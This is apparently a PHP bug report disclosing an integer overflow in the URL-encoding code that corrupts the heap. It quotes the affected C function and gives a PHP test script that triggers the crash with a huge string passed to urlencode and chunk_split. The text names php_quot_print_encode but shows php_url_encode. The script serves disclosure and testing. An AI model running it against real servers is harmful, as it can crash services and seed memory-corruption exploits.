Description:
------------
An integer overflow in function php_quot_print_encode, will lead to heap
corruption. Please check the detail of this vuln in comment below:


PHPAPI char *php_url_encode(char const *s, int len, int *new_length)
{
	register unsigned char c;
	unsigned char *to, *start;
	unsigned char const *from, *end;

	from = (unsigned char *)s;
	end = (unsigned char *)s + len;
	start = to = (unsigned char *) safe_emalloc(3, len, 1); // // the size of safe_emalloc is larger than INT_MAX

	while (from < end) {
		c = *from++;
...

Test script:
---------------
<?php

ini_set('memory_limit', -1);


$str = str_repeat('<', 0xffffffff/4);

var_dump(strlen($str));


$str1 = urlencode($str);
var_dump(strlen($str1));
chunk_split($str1, 11, $str1);
?>


Expected result:
----------------
No Crash

Actual result:
--------------
